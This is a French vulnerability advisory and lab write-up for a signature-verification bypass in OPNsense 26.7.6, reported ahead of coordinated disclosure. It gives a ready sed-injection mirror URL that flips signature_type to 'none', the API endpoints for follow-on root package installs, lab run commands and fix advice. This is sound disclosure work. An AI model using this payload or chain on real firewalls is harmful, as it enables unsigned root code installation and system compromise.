
OPNsense 26.7.6 - Élevée - À distance - Privilège résiduel - miroir de firmware personnalisé sed-skips pkg fingerprints
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · opnsense-firmware-mirror-sed
Classe : Contournement de signature Portée : Distante
OPNsense core 26.7.6 (a842fe48) - opnsense.org
Système : Firmware set envoie un mirror / flavour personnalisé. Le core FILTER_SANITIZE_URL conserve \|#;". opnsense-update -m / -n interpole cette chaîne dans sed sur OPNsense.conf et peut faire basculer signature_type de "fingerprints" à "none". Ensuite pkg install en root depuis l'URL de l'attaquant. La page de paramètres propose un miroir personnalisé de paquets OPNsense toujours signés. Elle n'a aucun contrôle « désactiver les signatures ». Le privilège est page-system-firmware-manualupdate, pas page-all.
Sed réside dans opnsense-update, hors du pin. Le core sur ce pin est le champ non assaini plus la passe -m. Le lab ré-exécute ce texte de programme s||| avec GNU sed.
Ce pack GitHub reste privé jusqu'à la divulgation coordonnée.
| ID | pas encore de CVE |
| Classe | Contournement de signature |
| Portée | Distante (WebGUI / API authentifié) |
| CWE | CWE-74 / CWE-347 |
| CVSS | Élevé : 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Produit | OPNsense core |
| Affecté | 26.7.6 (a842fe48c21288d11a422cb944678e8eb308becf) Firmware set miroir personnalisé |
| Auth | Session WebGUI ou clé API avec page-system-firmware-manualupdate |
| Licence | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 uniquement |
J'ai épinglé le tag 26.7.6 peel a842fe48. Le lab est un gadget PHP de FILTER_SANITIZE_URL plus le sed mod_mirrorurl de opnsense-update, HTTP en loopback sur 127.0.0.1:18860. PR:H car la page firmware est déjà autorisée à installer des paquets signés. Score 8.8 si cette page est traitée comme PR:L.
| Méthode | Sink | Privilège |
|---|---|---|
FILTER_SANITIZE_URL sur un miroir personnalisé avec | puis sed de type opnsense-update | réécriture de OPNsense.conf | Intégrité (prouvé en lab) : signature_type "none". Le miroir de contrôle reste "fingerprints". Lab : sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes. |
| Même set, champ plugins | setAction rejette plugins | Négatif (prouvé en lab) : plugins rejetés avant sauvegarde. |
Puis POST /api/core/firmware/install/<pkg> | pkg install -y en root depuis l'URL de l'attaquant | Intégrité (inféré) : paquet non signé en root. La page firmware installe déjà des paquets signés ; ce reliquat est le contournement de vérification. Aucune charge utile non signée dans le lab. |
Puis POST /api/core/firmware/update ou /upgrade | opnsense-update -pt / -u en root | Intégrité (inféré) : ensembles base/kernel avec vérification contournée (DO_INSECURE). |
GET /api/core/firmware/info, /running, /upgradestatus | API firmware | Recon (inféré) : listes de paquets, journal de mise à jour, options de miroir. Prévu pour cet ACL. |
POST /api/core/firmware/reboot, /poweroff, /remove/<pkg> | actions firmware configd | Disponibilité (inféré) : reboot/halt/remove. Prévu pour cet ACL, pas pour le reliquat. |
Prouvé en lab vs inféré : le sanitize conserve | et signature_type none sont des SUCCESS en lab. Le pkg install réel d'un paquet non signé est inféré. Gadget, pas une VM OPNsense FreeBSD complète. Aucune charge utile de paquet non signé.
Nécessite : un utilisateur connecté ou la clé API locale de cet utilisateur avec page-system-firmware-manualupdate et sans page-all. CSRF sur POST de session. Pas non authentifié. Pas dashboard uniquement.
| Surface | Lab |
|---|---|
| Firmware non authentifié | 401 |
| Dashboard uniquement | 403 |
Miroir de contrôle https://pkg.opnsense.org | signature_type reste "fingerprints" |
| Traversée de nom de plugin | filter_pkgname |
| Récupération du changelog | toujours opnsense-verify |
user-config-readonly sur save() | throwReadOnly() |
| Miroirs HTTP standard sans contournement de vérification | MITM de transport ; fingerprints toujours requis |
| Firmware XMLRPC | chaînes de version uniquement |
Pas de non authentifié. Pas de dashboard uniquement. Changelog toujours signé.
cd lab
./run.sh
Loopback 127.0.0.1:18860. Projet Compose opnsense-firmware-mirror-sed. Témoin OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS. Dernière ligne :
SUCCESS opnsense-firmware-mirror-sed sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS
Lanceur root : python3 opnsense-firmware-mirror-sed-Abraxas-Labs.py.
Forme du miroir d'attaque utilisée dans le lab (témoin uniquement, pas de pkg non signé) :
https://example.invalid/|;/signature_type/s/"fingerprints"/"none"/;#
Rejeter un miroir personnalisé qui n'est pas une URL. Supprimer les métacaractères sed (|, ;, #, ") avant opnsense-update -m / -n, ou passer l'URL comme fichier afin que sed ne la voie jamais comme texte de programme. Conserver signature_type: "fingerprints" sauf si un contrôle séparé et audité désactive la vérification. Ne pas laisser Firmware set réécrire les fingerprints en "none".
a842fe48c21288d11a422cb944678e8eb308becfFirmwareController.php setAction FILTER_SANITIZE_URLscripts/firmware/repos/OPNsense.php opnsense-update -sd -mOPNsense.conf.shadow.in stock signature_type: "fingerprints"opnsense-update mod_mirrorurl (s\|\| sur la ligne url:)